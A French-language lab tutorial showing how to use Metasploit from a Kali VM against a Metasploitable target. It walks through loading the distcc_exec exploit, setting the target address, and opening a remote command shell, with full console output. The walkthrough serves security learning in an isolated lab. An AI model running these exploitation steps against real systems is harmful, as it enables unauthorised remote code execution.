Rappel :
Attention dans cet article l’outils est utilisé pour la recherche et l’apprentissage.
Ce type d’outils ne doit pas être utilisé vers un serveur qui ne vous appartient pas, ceci peut être puni par la loi (voir les articles 323-XX).
Présentation du framework :
Nous allons utilisé le framework Metasploit, qui un logiciel de pentesting open-source.
Environnement de test :
Pour cela nous allons utiliser une VM tournant sur la distribution Kali (attaquant) et une VM Metasploitable Server (cible) qui est un serveur ayant des vulnérabilités pour faire des démos.
Voici un schéma :
Par défaut Kali ne démarre aucun service, pour utiliser Metasploit il faut démarrer PostgreSQL et Metasploit
service postgresql start
service metasploit start
Note : Il est possible de les lancer en automatique au démarrage de l’OS, sous Debian-like :
update - rc . d postgresql enable
update - rc . d metasploit enable
Lancer la console metasploit en CLI :
msfconsole
Vérifier la connection à la DB :
msf > db_status
[ * ] postgresql connected to msf3
msf >
Nous allons partir du constat que nous connaissons la vulnérabilité du serveur à exploiter, un autre billet sera fait sur sur détection de vulnérabilités.
msf > search - h
Usage : search [ keywords ]
Keywords :
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit - DB ID
name : Modules with a matching descriptive name
osvdb : Modules with a matching OSVDB ID
platform : Modules affecting this platform
ref : Modules with a matching ref
type : Modules of a specific type ( exploit , auxiliary , or post )
Examples :
search cve : 2009 type :exploit app :client
msf >
msf > search type :exploit distcc
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit / aix / local / ibstat_path 2013 - 09 - 24 excellent ibstat $PATH Privilege Escalation
exploit / aix / rpc_cmsd_opcode21 2009 - 10 - 07 great AIX Calendar Manager Service Daemon ( rpc . cmsd ) Opcode 21 Buffer Overflow
exploit / aix / rpc_ttdbserverd_realpath 2009 - 06 - 17 great ToolTalk rpc . ttdbserverd _tt_internal_realpath Buffer Overflow ( AIX )
exploit / android / browser / webview_addjavascriptinterface 2012 - 12 - 21 normal Android Browser and WebView addJavascriptInterface Code Execution
exploit / android / fileformat / adobe_reader_pdf_js_interface 2014 - 04 - 13 good Adobe Reader for Android addJavascriptInterface Exploit
exploit / apple_ios / browser / safari_libtiff 2006 - 08 - 01 good Apple iOS MobileSafari LibTIFF Buffer Overflow
exploit / apple_ios / email / mobilemail_libtiff 2006 - 08 - 01 good Apple iOS MobileMail LibTIFF Buffer Overflow
.. SNiP ..
exploit / unix / misc / distcc_exec 2002 - 02 - 01 excellent DistCC Daemon Command Execution
.. SNiP ..
# Charger un exploit
msf > use exploit / unix / misc / distcc_exec
# Information de l'exploit
msf exploit ( distcc_exec ) > info
Name : DistCC Daemon Command Execution
Module : exploit / unix / misc / distcc_exec
Platform : Unix
Privileged : No
License : Metasploit Framework License ( BSD )
Rank : Excellent
Provided by:
hdm < hdm @metasploit . com >
Available targets:
Id Name
-- ----
0 Automatic Target
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 3632 yes The target port
Payload information:
Space : 1024
Description :
This module uses a documented security weakness to execute arbitrary
commands on any system running distccd .
References :
http :/ / cvedetails . com / cve / 2004 - 2687 /
http :/ / www . osvdb . org / 13378
http :/ / distcc . samba . org / security . html
# OU
msf > info exploit / unix / misc / distcc_exec
....
# Voir les options (champs à complter "Current Setting")
msf exploit ( distcc_exec ) > show options
Module options ( exploit / unix / misc / distcc_exec ):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 3632 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Target
# Set du champs RHOST
msf exploit ( distcc_exec ) > set RHOST 192.168 . 5.11
RHOST => 192.168 . 5.11
# Vérification de la prise en compte
msf exploit ( distcc_exec ) > show options
Module options ( exploit / unix / misc / distcc_exec ):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168 . 5.11 yes The target address
RPORT 3632 yes The target port
Exploit target:
Id Name
-- ----
0 Automatic Target
# Lancer l'exploit et on voit bien qu'on a compromis le distant :
msf exploit ( distcc_exec ) > exploit
[ * ] Started reverse double handler
[ * ] Accepted the first client connection ...
[ * ] Accepted the second client connection ...
[ * ] Command : echo VnzwKKezdFZ4K6E2 ;
[ * ] Writing to socket A
[ * ] Writing to socket B
[ * ] Reading from sockets ...
[ * ] Reading from socket B
[ * ] B : "VnzwKKezdFZ4K6E2 \r\n "
[ * ] Matching ...
[ * ] A is input ...
[ * ] Command shell session 1 opened ( 192.168 . 5.15 : 4444 -> 192.168 . 5.11 : 58362 ) at 2016 - 03 - 20 16 : 02 : 34 + 0100
pwd
/tmp
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:97:1b:cf
inet addr:192.168.5.11 Bcast:192.168.5.255 Mask:255.255.255.0
inet6 addr: 2a01:e35:8be7:d740:a00:27ff:fe97:1bcf/ 64 Scope :Global
inet6 addr: fe80 :: a00 : 27 ff :fe97 : 1 bcf / 64 Scope :Link
UP BROADCAST RUNNING MULTICAST MTU : 1500 Metric : 1
RX packets : 1904 errors : 0 dropped : 0 overruns : 0 frame : 0
TX packets : 306 errors : 0 dropped : 0 overruns : 0 carrier : 0
collisions : 0 txqueuelen : 1000
RX bytes : 200005 ( 195.3 KB ) TX bytes : 41347 ( 40.3 KB )
Base address : 0xd010 Memory :f0000000 - f0020000
lo Link encap :Local Loopback
inet addr : 127.0 . 0.1 Mask : 255.0 . 0.0
inet6 addr: :: 1 / 128 Scope :Host
UP LOOPBACK RUNNING MTU : 16436 Metric : 1
RX packets : 330 errors : 0 dropped : 0 overruns : 0 frame : 0
TX packets : 330 errors : 0 dropped : 0 overruns : 0 carrier : 0
collisions : 0 txqueuelen : 0
RX bytes : 135145 ( 131.9 KB ) TX bytes : 135145 ( 131.9 KB )
hostname
metasploitable
id
uid = 1 ( daemon ) gid = 1 ( daemon ) groups = 1 ( daemon )